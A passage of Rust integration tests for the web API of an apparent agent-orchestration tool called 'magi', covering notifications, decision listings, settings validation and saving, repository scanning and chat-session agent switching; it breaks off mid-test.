13995 crate::queue::Source::Human,
13996 );
13997 let inquiry = outbox
13998 .file(&task, None, "test".into(), "入力待ち", "詳細")
13999 .unwrap();
14000 let root = fx.home.path().join("notifications/task-inquiries");
14001 std::fs::write(root.join("broken.json"), "{").unwrap();
14002 let mut unsupported = inquiry.clone();
14003 unsupported.id = "unsupported".into();
14004 unsupported.schema = 99;
14005 std::fs::write(
14006 root.join("unsupported.json"),
14007 serde_json::to_vec(&unsupported).unwrap(),
14008 )
14009 .unwrap();
14010 let before = std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap();
14011 for _ in 0..2 {
14012 let response = fx.get("/api/decisions").await;
14013 assert_eq!(response.status, 200, "{}", response.body);
14014 let listed = response.json();
14015 assert_eq!(listed["unreadable"], 2);
14016 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14017 assert_eq!(listed["items"][0]["id"], inquiry.id);
14018 assert_eq!(listed["items"][0]["decision"]["status"], "awaiting_owner");
14019 }
14020 assert_eq!(
14021 before,
14022 std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap()
14023 );
14024 assert!(outbox.list().is_err());
14025 std::fs::remove_file(root.join("broken.json")).unwrap();
14026 std::fs::remove_file(root.join("unsupported.json")).unwrap();
14027 assert_eq!(fx.get("/api/decisions").await.json()["unreadable"], 0);
14028 }
14029
14030 #[tokio::test]
14031 async fn decisions_list_exposes_migration_errors_without_acknowledging_them() {
14032 let fx = Fixture::start().await;
14033 let root = fx.home.path().join("notifications/task-chat-migration-v1");
14034 std::fs::create_dir_all(&root).unwrap();
14035 let journal = serde_json::json!({
14036 "schema": 1, "pending": ["saved-inquiry"],
14037 "errors": {"saved-inquiry": "Source is unreadable; no action executed"}
14038 });
14039 let bytes = serde_json::to_vec(&journal).unwrap();
14040 std::fs::write(root.join("state.json"), &bytes).unwrap();
14041 for _ in 0..2 {
14042 let response = fx.get("/api/decisions").await;
14043 assert_eq!(response.status, 200);
14044 let listed = response.json();
14045 assert_eq!(listed["migration_errors"][0]["id"], "saved-inquiry");
14046 assert!(listed["items"].as_array().unwrap().is_empty());
14047 assert_eq!(std::fs::read(root.join("state.json")).unwrap(), bytes);
14048 }
14049 std::fs::write(root.join("state.json"), b"{").unwrap();
14051 let response = fx.get("/api/decisions").await;
14052 assert_eq!(response.status, 200);
14053 assert_eq!(response.json()["migration_errors"][0]["id"], "migration");
14054 }
14055
14056 #[tokio::test]
14057 async fn notifications_list_read_dismiss_and_health_agree() {
14058 let fx = Fixture::start().await;
14059 let store = Notices::at(fx.home.path().join("notifications"));
14060 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
14061 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
14062
14063 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
14064 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
14065
14066 store
14067 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
14068 .unwrap();
14069 let health = fx.get("/api/health").await.json();
14070 assert_eq!(health["notifications_unread"], 2);
14071 assert_ne!(
14072 health["notifications_rev"], rev0,
14073 "the badge must move live"
14074 );
14075
14076 let listed = fx.get("/api/notifications").await.json();
14077 assert_eq!(listed["unread"], 2);
14078 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
14079 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
14080
14081 let read = fx
14082 .post(&format!("/api/notifications/{}/read", a.id), None)
14083 .await;
14084 assert_eq!(read.status, 200, "{}", read.body);
14085 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
14086
14087 let gone = fx
14088 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
14089 .await;
14090 assert_eq!(gone.status, 200, "{}", gone.body);
14091 let listed = fx.get("/api/notifications").await.json();
14092 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14093 assert_eq!(listed["unread"], 0);
14094
14095 store.raise(Notice::info("x", "again")).unwrap();
14096 let all = fx.post("/api/notifications/read-all", None).await;
14097 assert_eq!(all.status, 200, "{}", all.body);
14098 assert_eq!(all.json()["marked"], 1);
14099 assert_eq!(
14100 fx.get("/api/health").await.json()["notifications_unread"],
14101 0
14102 );
14103
14104 let missing = fx.post("/api/notifications/nope/read", None).await;
14105 assert_eq!(missing.status, 404, "{}", missing.body);
14106 assert!(missing.json()["error"].is_string());
14107 }
14108
14109 #[tokio::test]
14116 async fn a_task_cannot_be_filed_over_the_phone_directly() {
14117 let f = Fixture::start().await;
14118
14119 let res = f
14120 .post(
14121 "/api/queue",
14122 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
14123 )
14124 .await;
14125
14126 assert_eq!(
14127 res.status, 405,
14128 "POST /api/queue must not be a route: {}",
14129 res.body
14130 );
14131 assert!(
14132 f.queue().list().is_empty(),
14133 "a task filed by a route that does not exist must not reach the disk"
14134 );
14135 assert_eq!(f.get("/api/queue").await.status, 200);
14138 }
14139
14140 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
14142 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
14143 .expect("checkout dir");
14144 }
14145
14146 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
14148
14149 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
14150 let tmp = TempDir::new().expect("tempdir");
14151 let repo = tmp.path().join("repo");
14152 std::fs::create_dir_all(&repo).expect("repo dir");
14153 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
14154 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
14155 if let Some(text) = machine_toml {
14156 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
14157 std::fs::write(&machine, text).expect("machine toml");
14158 }
14159 (tmp, repo, machine)
14160 }
14161
14162 async fn settings_checkout(path: &FsPath, text: &str) {
14163 std::fs::create_dir_all(path).unwrap();
14164 std::fs::write(path.join("magi.toml"), text).unwrap();
14165 for args in [
14166 vec!["init", "-b", "main"],
14167 vec!["add", "magi.toml"],
14168 vec![
14169 "-c",
14170 "user.name=Test",
14171 "-c",
14172 "user.email=test@example.invalid",
14173 "commit",
14174 "-m",
14175 "fixture",
14176 ],
14177 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
14178 vec![
14179 "symbolic-ref",
14180 "refs/remotes/origin/HEAD",
14181 "refs/remotes/origin/main",
14182 ],
14183 ] {
14184 crate::git::git(path, &args).await.unwrap();
14185 }
14186 }
14187
14188 #[tokio::test]
14189 async fn settings_context_handlers_validate_and_save_without_a_socket() {
14190 let (tmp, repo, machine) =
14191 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
14192 let root = tmp.path().join("roots");
14193 let selected = root.join("host/owner/selected");
14194 settings_checkout(
14195 &selected,
14196 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
14197 )
14198 .await;
14199 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
14200 let before = std::fs::read(&machine).unwrap();
14201 let ui = Arc::new(
14202 Ui::new(
14203 Queue::at(tmp.path().join("queue")),
14204 Questions::at(tmp.path().join("questions")),
14205 Talks::at(tmp.path().join("talks")),
14206 tmp.path().join("runs"),
14207 tmp.path().to_path_buf(),
14208 repo.clone(),
14209 )
14210 .with_machine_config(Some(machine.clone())),
14211 );
14212 let query = || {
14213 Query(SettingsQuery {
14214 repo: Some(selected.clone()),
14215 })
14216 };
14217 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
14218 assert!(v.error.is_none(), "{:?}", v.error);
14219 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
14220 assert_eq!(conductor.source, "repo");
14221 assert_eq!(
14222 conductor.machine_value,
14223 Some(toml::Value::String("a".into()))
14224 );
14225 assert!(!conductor.editable);
14226 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
14227 assert_eq!(
14228 judges.count.as_ref().unwrap().machine_value,
14229 Some(toml::Value::Integer(1))
14230 );
14231 assert!(
14232 !v.roles
14233 .iter()
14234 .find(|r| r.key == "reviewers")
14235 .unwrap()
14236 .editable
14237 );
14238 let unknown = || {
14239 Query(SettingsQuery {
14240 repo: Some(tmp.path().to_path_buf()),
14241 })
14242 };
14243 assert_eq!(
14244 settings_get(State(ui.clone()), unknown())
14245 .await
14246 .unwrap_err()
14247 .status,
14248 StatusCode::UNPROCESSABLE_ENTITY
14249 );
14250 let body = || {
14251 Ok(Json(RolesBody {
14252 revision: v.revision.clone(),
14253 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
14254 counts: Default::default(),
14255 }))
14256 };
14257 assert_eq!(
14258 settings_put_roles(State(ui.clone()), unknown(), body())
14259 .await
14260 .unwrap_err()
14261 .status,
14262 StatusCode::UNPROCESSABLE_ENTITY
14263 );
14264 assert_eq!(std::fs::read(&machine).unwrap(), before);
14265 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
14266 .await
14267 .unwrap();
14268 assert_eq!(
14269 saved.repo,
14270 selected.canonicalize().unwrap().display().to_string()
14271 );
14272 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14273 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14274 let fresh = root.join("host/owner/fresh");
14276 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
14277 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
14278 .await
14279 .unwrap();
14280 assert_eq!(fresh_view.repositories.len(), 3);
14281 }
14282
14283 #[tokio::test]
14284 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
14285 let (tmp, repo, machine) = settings_dirs(
14286 "[roles]\nreviewers = [\"a\"]\n",
14287 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
14288 );
14289 let root = tmp.path().join("roots");
14290 let selected = root.join("host/owner/selected");
14291 settings_checkout(
14292 &selected,
14293 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
14294 )
14295 .await;
14296 let broken = root.join("host/owner/broken");
14297 settings_checkout(&broken, "[roles\nbroken").await;
14298 let machine_text = format!(
14299 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
14300 toml::Value::String(root.display().to_string())
14301 );
14302 std::fs::write(&machine, &machine_text).unwrap();
14303 let originals: Vec<_> = [&repo, &selected, &broken]
14304 .iter()
14305 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
14306 .collect();
14307 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14308 let default = f.get("/api/settings").await.json();
14309 assert_eq!(
14310 default["repo"],
14311 repo.canonicalize().unwrap().display().to_string()
14312 );
14313 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
14314 let query = format!("?repo={}", selected.display());
14315 let res = f.get(&format!("/api/settings{query}")).await;
14316 assert_eq!(res.status, 200, "{}", res.body);
14317 let v = res.json();
14318 assert!(v["error"].is_null(), "{v}");
14319 assert_eq!(v["repositories"], default["repositories"]);
14320 let role = |key: &str| {
14321 v["roles"]
14322 .as_array()
14323 .unwrap()
14324 .iter()
14325 .find(|r| r["key"] == key)
14326 .unwrap()
14327 };
14328 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
14329 assert_eq!(role("advisors")["source"], "repo");
14330 assert_eq!(role("advisors")["editable"], false);
14331 assert!(role("advisors")["machine_value"].is_null());
14332 assert_eq!(role("judges")["count"]["value"], 2);
14333 assert_eq!(role("judges")["count"]["machine_value"], 1);
14334 assert_eq!(role("judges")["count"]["source"], "repo");
14335 let source = role("judges")["count"]["source_path"].as_str().unwrap();
14336 assert!(
14337 source.contains("origin/main") && !source.contains("magi/config/"),
14338 "{source}"
14339 );
14340 assert_eq!(
14341 role("reviewers")["editable"],
14342 false,
14343 "default context outside roots must protect its declarations"
14344 );
14345 let body =
14346 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
14347 let unknown = format!("?repo={}", tmp.path().display());
14348 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
14349 assert_eq!(
14350 f.put(&format!("/api/settings/roles{unknown}"), &body)
14351 .await
14352 .status,
14353 422
14354 );
14355 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
14356 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
14357 .to_string();
14358 assert_eq!(
14359 f.put(&format!("/api/settings/roles{query}"), &refuse)
14360 .await
14361 .status,
14362 422
14363 );
14364 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
14365 assert_eq!(saved.status, 200, "{}", saved.body);
14366 assert_eq!(saved.json()["repo"], v["repo"]);
14367 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14368 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14369 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
14370 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
14371 }
14372 let error = f
14373 .get(&format!("/api/settings?repo={}", broken.display()))
14374 .await;
14375 assert_eq!(error.status, 200);
14376 assert!(error.json()["error"]["message"].is_string());
14377 assert_eq!(error.json()["repositories"], default["repositories"]);
14378 }
14379
14380 #[tokio::test]
14381 async fn settings_get_reports_sources_and_the_advisors_fallback() {
14382 let (_tmp, repo, machine) =
14383 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
14384 let f = Fixture::with_repo_and_machine(repo, machine).await;
14385 let res = f.get("/api/settings").await;
14386 assert_eq!(res.status, 200, "{}", res.body);
14387 let v = res.json();
14388 assert!(v["error"].is_null(), "{v}");
14389 let role = |k: &str| {
14390 v["roles"]
14391 .as_array()
14392 .and_then(|r| r.iter().find(|x| x["key"] == k))
14393 .cloned()
14394 .unwrap_or_else(|| panic!("no role {k}: {v}"))
14395 };
14396 assert_eq!(role("judges")["source"], "machine");
14397 assert_eq!(role("judges")["editable"], true);
14398 assert_eq!(role("implementers")["source"], "default");
14399 let adv = role("advisors");
14400 assert_eq!(adv["fallback"], "judges");
14401 assert!(
14402 adv["seats"]
14403 .as_array()
14404 .is_some_and(|s| s.iter().all(|x| x == "b")),
14405 "{adv}"
14406 );
14407 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
14408 assert_eq!(v["agents"][0]["source"], "repo");
14409 }
14410
14411 #[tokio::test]
14412 async fn settings_get_reports_a_config_that_does_not_parse() {
14413 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
14414 let f = Fixture::with_repo_and_machine(repo, machine).await;
14415 let res = f.get("/api/settings").await;
14416 assert_eq!(res.status, 200, "{}", res.body);
14417 let v = res.json();
14418 assert!(v["error"]["message"].is_string(), "{v}");
14419 assert!(
14420 v["error"]["path"]
14421 .as_str()
14422 .is_some_and(|p| p.ends_with("magi.toml")),
14423 "{v}"
14424 );
14425 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
14426 }
14427
14428 #[tokio::test]
14429 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
14430 let (_tmp, repo, machine) = settings_dirs(
14431 SETTINGS_AGENTS,
14432 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
14433 );
14434 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
14435 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14436 let rev = f.get("/api/settings").await.json()["revision"]
14437 .as_str()
14438 .expect("revision")
14439 .to_owned();
14440 let body = serde_json::json!({
14441 "revision": rev,
14442 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
14443 })
14444 .to_string();
14445 let res = f.put("/api/settings/roles", &body).await;
14446 assert_eq!(res.status, 200, "{}", res.body);
14447 let text = std::fs::read_to_string(&machine).expect("machine");
14448 assert_eq!(
14449 text,
14450 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
14451 );
14452 assert_eq!(
14453 std::fs::read(repo.join("magi.toml")).expect("read"),
14454 repo_before
14455 );
14456 let again = f.get("/api/settings").await.json();
14457 let judges = again["roles"]
14458 .as_array()
14459 .expect("roles")
14460 .iter()
14461 .find(|r| r["key"] == "judges")
14462 .expect("judges")
14463 .clone();
14464 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
14465 let stale = f.put("/api/settings/roles", &body).await;
14467 assert_eq!(stale.status, 409, "{}", stale.body);
14468 }
14469
14470 #[tokio::test]
14471 async fn settings_counts_are_reported_and_saved() {
14472 let (_tmp, repo, machine) = settings_dirs(
14473 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
14474 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
14475 );
14476 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14477 let v = f.get("/api/settings").await.json();
14478 let count = |v: &serde_json::Value, k: &str| {
14479 v["roles"]
14480 .as_array()
14481 .and_then(|r| r.iter().find(|x| x["key"] == k))
14482 .map(|x| x["count"].clone())
14483 .unwrap_or_else(|| panic!("no role {k}: {v}"))
14484 };
14485 let imp = count(&v, "implementers");
14486 assert_eq!(imp["value"], 2);
14487 assert_eq!(imp["source"], "machine");
14488 assert_eq!(imp["file_key"], "candidates");
14489 assert_eq!(imp["roster_len"], 2);
14490 assert_eq!(imp["backups"], 0);
14491 assert_eq!(count(&v, "judges")["source"], "default");
14492 assert_eq!(count(&v, "advisors")["min"], 0);
14493 assert_eq!(count(&v, "reviewers")["editable"], false);
14494 assert!(
14495 count(&v, "reviewers")["locked_reason"]
14496 .as_str()
14497 .is_some_and(|m| m.contains("graph.reviewers"))
14498 );
14499 assert!(count(&v, "fixer").is_null());
14500 let rev = v["revision"].as_str().expect("revision").to_owned();
14501 let body = serde_json::json!({
14502 "revision": rev,
14503 "roles": { "judges": ["b"] },
14504 "counts": { "implementers": 1, "advisors": 0 }
14505 })
14506 .to_string();
14507 let res = f.put("/api/settings/roles", &body).await;
14508 assert_eq!(res.status, 200, "{}", res.body);
14509 let text = std::fs::read_to_string(&machine).expect("machine");
14510 assert_eq!(
14511 text,
14512 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
14513 );
14514 let after = f.get("/api/settings").await.json();
14515 assert_eq!(count(&after, "implementers")["value"], 1);
14516 assert_eq!(count(&after, "implementers")["backups"], 1);
14517 assert_eq!(count(&after, "advisors")["value"], 0);
14518 let before = std::fs::read_to_string(&machine).expect("machine");
14519 let rev = after["revision"].as_str().expect("revision").to_owned();
14520 for counts in [
14521 serde_json::json!({ "judges": 0 }),
14522 serde_json::json!({ "judges": "x" }),
14523 serde_json::json!({ "judges": 2.5 }),
14524 serde_json::json!({ "judges": -1 }),
14525 serde_json::json!({ "reviewers": 3 }),
14526 serde_json::json!({ "bogus": 3 }),
14527 ] {
14528 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
14529 let res = f.put("/api/settings/roles", &body).await;
14530 assert_eq!(res.status, 422, "{counts}: {}", res.body);
14531 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
14532 }
14533 }
14534
14535 #[tokio::test]
14536 async fn settings_put_refuses_without_touching_the_file() {
14537 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
14538 let (_tmp, repo, machine) = settings_dirs(
14539 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
14540 Some(machine_text),
14541 );
14542 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14543 let rev = f.get("/api/settings").await.json()["revision"]
14544 .as_str()
14545 .expect("revision")
14546 .to_owned();
14547 for roles in [
14548 serde_json::json!({ "judges": ["nope"] }),
14549 serde_json::json!({ "reviewers": ["b"] }),
14550 serde_json::json!({ "bogus": ["a"] }),
14551 ] {
14552 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
14553 let res = f.put("/api/settings/roles", &body).await;
14554 assert_eq!(res.status, 422, "{roles}: {}", res.body);
14555 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
14556 assert_eq!(
14557 std::fs::read_to_string(&machine).expect("machine"),
14558 machine_text
14559 );
14560 }
14561 }
14562
14563 #[tokio::test]
14564 async fn repos_list_returns_name_and_path_for_every_configured_root() {
14565 let tmp = TempDir::new().expect("tempdir");
14566 let repo = tmp.path().join("repo");
14567 std::fs::create_dir_all(&repo).expect("repo dir");
14568 let root = tmp.path().join("root");
14569 make_checkout(&root, "github.com", "yukimemi", "magi");
14570 std::fs::write(
14571 repo.join("magi.toml"),
14572 format!(
14573 "[repos]\nroots = [{:?}]\n",
14574 root.to_string_lossy().into_owned()
14575 ),
14576 )
14577 .expect("write magi.toml");
14578
14579 let f = Fixture::with_repo(repo).await;
14580 let res = f.get("/api/repos").await;
14581 assert_eq!(res.status, 200, "{}", res.body);
14582 let list = res.json();
14583 let repos = list.as_array().expect("an array");
14584 assert_eq!(repos.len(), 1);
14585 assert_eq!(repos[0]["name"], "yukimemi/magi");
14586 assert!(
14587 repos[0]["path"]
14588 .as_str()
14589 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
14590 "{list}"
14591 );
14592 }
14593
14594 #[tokio::test]
14595 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
14596 let tmp = TempDir::new().expect("tempdir");
14597 let repo = tmp.path().join("repo");
14598 std::fs::create_dir_all(&repo).expect("repo dir");
14599 let root = tmp.path().join("root");
14600 make_checkout(&root, "github.com", "yukimemi", "magi");
14601 std::fs::write(
14602 repo.join("magi.toml"),
14603 format!(
14604 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
14605 root.to_string_lossy().into_owned()
14606 ),
14607 )
14608 .expect("write magi.toml");
14609
14610 let f = Fixture::with_repo(repo).await;
14611 let first = f.get("/api/repos").await;
14612 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
14613
14614 make_checkout(&root, "github.com", "yukimemi", "rvpm");
14617 let second = f.get("/api/repos").await;
14618 assert_eq!(
14619 second.json().as_array().map(Vec::len),
14620 Some(1),
14621 "a fresh cache must not rescan inside the TTL"
14622 );
14623
14624 let refreshed = f.get("/api/repos?refresh=1").await;
14625 assert_eq!(
14626 refreshed.json().as_array().map(Vec::len),
14627 Some(2),
14628 "an explicit refresh must rescan even inside the TTL"
14629 );
14630 }
14631
14632 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
14638
14639 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
14643 let tmp = TempDir::new().expect("tempdir");
14644 let repo = tmp.path().join("repo");
14645 std::fs::create_dir_all(&repo).expect("repo dir");
14646 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14647 let f = Fixture::with_repo(repo.clone()).await;
14648 (tmp, repo, f)
14649 }
14650
14651 #[tokio::test]
14652 async fn posting_a_talk_with_remembered_choices_is_soft() {
14653 let (_tmp, _repo, f) = talk_fixture().await;
14654
14655 let good = f
14656 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
14657 .await;
14658 assert_eq!(good.status, 201, "{}", good.body);
14659 assert_eq!(good.json()["persona"], "rei");
14660
14661 let stale = f
14663 .post(
14664 "/api/talks",
14665 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
14666 )
14667 .await;
14668 assert_eq!(stale.status, 201, "{}", stale.body);
14669 let v = stale.json();
14670 assert_eq!(v["implementers"], 1);
14671 assert_ne!(v["persona"], "nobody");
14672 let typed = f
14673 .post(
14674 "/api/talks",
14675 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
14676 )
14677 .await;
14678 assert_eq!(typed.status, 201, "{}", typed.body);
14679
14680 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
14682 assert!(
14683 !strict.status.to_string().starts_with('2'),
14684 "{}",
14685 strict.body
14686 );
14687 }
14688
14689 #[tokio::test]
14690 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
14691 let (_tmp, _repo, f) = talk_fixture().await;
14692
14693 let opened = f.post("/api/talks", None).await;
14696 assert_eq!(opened.status, 201, "{}", opened.body);
14697 let body = opened.json();
14698 assert_eq!(body["status"], "open");
14699 assert_eq!(
14700 body["turns"].as_array().unwrap().len(),
14701 0,
14702 "opening takes no agent turn: there is nothing yet to answer"
14703 );
14704
14705 let also_opened = f.post("/api/talks", Some("{}")).await;
14707 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
14708
14709 let listed = f.get("/api/talks").await.json();
14710 assert_eq!(listed.as_array().unwrap().len(), 2);
14711 }
14712
14713 #[tokio::test]
14714 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
14715 let tmp = TempDir::new().expect("tempdir");
14716 let repo = tmp.path().join("repo");
14717 std::fs::create_dir_all(&repo).expect("repo dir");
14718 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
14719 std::fs::write(
14720 repo.join("magi.toml"),
14721 format!("{MOCK_AGENT_TOML}\n{second}"),
14722 )
14723 .expect("write magi.toml");
14724 let home = TempDir::new().expect("temp home");
14725 let talks = Talks::at(home.path().join("talks"));
14726 let ui = Arc::new(
14727 Ui::new(
14728 Queue::at(home.path().join("queue")),
14729 Questions::at(home.path().join("questions")),
14730 talks.clone(),
14731 home.path().join("runs"),
14732 home.path().to_path_buf(),
14733 repo.clone(),
14734 )
14735 .with_worktrees_root(home.path().join("wt")),
14736 );
14737 let cfg = config_for(&repo).await.expect("discover config");
14738 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14739 let id = talk.id.clone();
14740 let call = |agent: &str| {
14741 talk_agent(
14742 State(Arc::clone(&ui)),
14743 Path(id.clone()),
14744 Json(TalkAgent {
14745 agent: agent.to_owned(),
14746 }),
14747 )
14748 };
14749
14750 let unknown = call("nobody").await.expect_err("unknown agent");
14751 assert_eq!(
14752 unknown.status,
14753 StatusCode::BAD_REQUEST,
14754 "{}",
14755 unknown.message
14756 );
14757
14758 {
14759 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14762 let busy = call("second").await.expect_err("busy talk");
14763 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14764 assert!(
14765 busy.message.contains("a talk turn is running"),
14766 "{}",
14767 busy.message
14768 );
14769 drop(guard);
14770 }
14771 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
14772
14773 let Json(view) = call("second").await.expect("switch");
14774 assert_eq!(view.talk.agent, "second");
14775 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
14776 let saved = talks.get(&id).expect("reload");
14777 assert_eq!(saved.agent, "second");
14778 assert_eq!(saved.turns.len(), 1);
14779 assert!(!view.thinking);
14780 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14781 for agent in ["mock", "second"] {
14782 let Json(view) = call(agent).await.expect("immediate consecutive change");
14783 assert_eq!(view.talk.agent, agent);
14784 assert!(!view.thinking);
14785 assert!(!ui.is_thinking(&id));
14786 }
14787
14788 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14789 .await
14790 .expect("detail");
14791 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
14792 assert_eq!(roster, ["mock", "second"]);
14793
14794 let mut closed = talks.get(&id).expect("reload");
14795 talk::close(&mut closed, &talks).expect("close");
14796 let refused = call("mock").await.expect_err("closed talk");
14797 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14798 assert!(
14799 refused.message.contains("takes no more turns"),
14800 "{}",
14801 refused.message
14802 );
14803 }
14804
14805 #[tokio::test]
14806 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
14807 let tmp = TempDir::new().expect("tempdir");
14808 let repo = tmp.path().join("repo");
14809 std::fs::create_dir_all(&repo).expect("repo dir");
14810 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14811 let home = TempDir::new().expect("temp home");
14812 let talks = Talks::at(home.path().join("talks"));
14813 let ui = Arc::new(
14814 Ui::new(
14815 Queue::at(home.path().join("queue")),
14816 Questions::at(home.path().join("questions")),
14817 talks.clone(),
14818 home.path().join("runs"),
14819 home.path().to_path_buf(),
14820 repo.clone(),
14821 )
14822 .with_worktrees_root(home.path().join("wt")),
14823 );
14824 let cfg = config_for(&repo).await.expect("discover config");
14825 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14826 let id = talk.id.clone();
14827 let call = |n: u8| {
14828 talk_implementers(
14829 State(Arc::clone(&ui)),
14830 Path(id.clone()),
14831 Json(TalkImplementers { implementers: n }),
14832 )
14833 };
14834
14835 for bad in [0u8, 4] {
14836 let e = call(bad).await.expect_err("out of range");
14837 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
14838 }
14839 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
14840
14841 {
14842 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14845 let busy = call(2).await.expect_err("busy talk");
14846 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14847 assert!(
14848 busy.message.contains("a talk turn is running"),
14849 "{}",
14850 busy.message
14851 );
14852 drop(guard);
14853 }
14854
14855 let Json(view) = call(3).await.expect("switch");
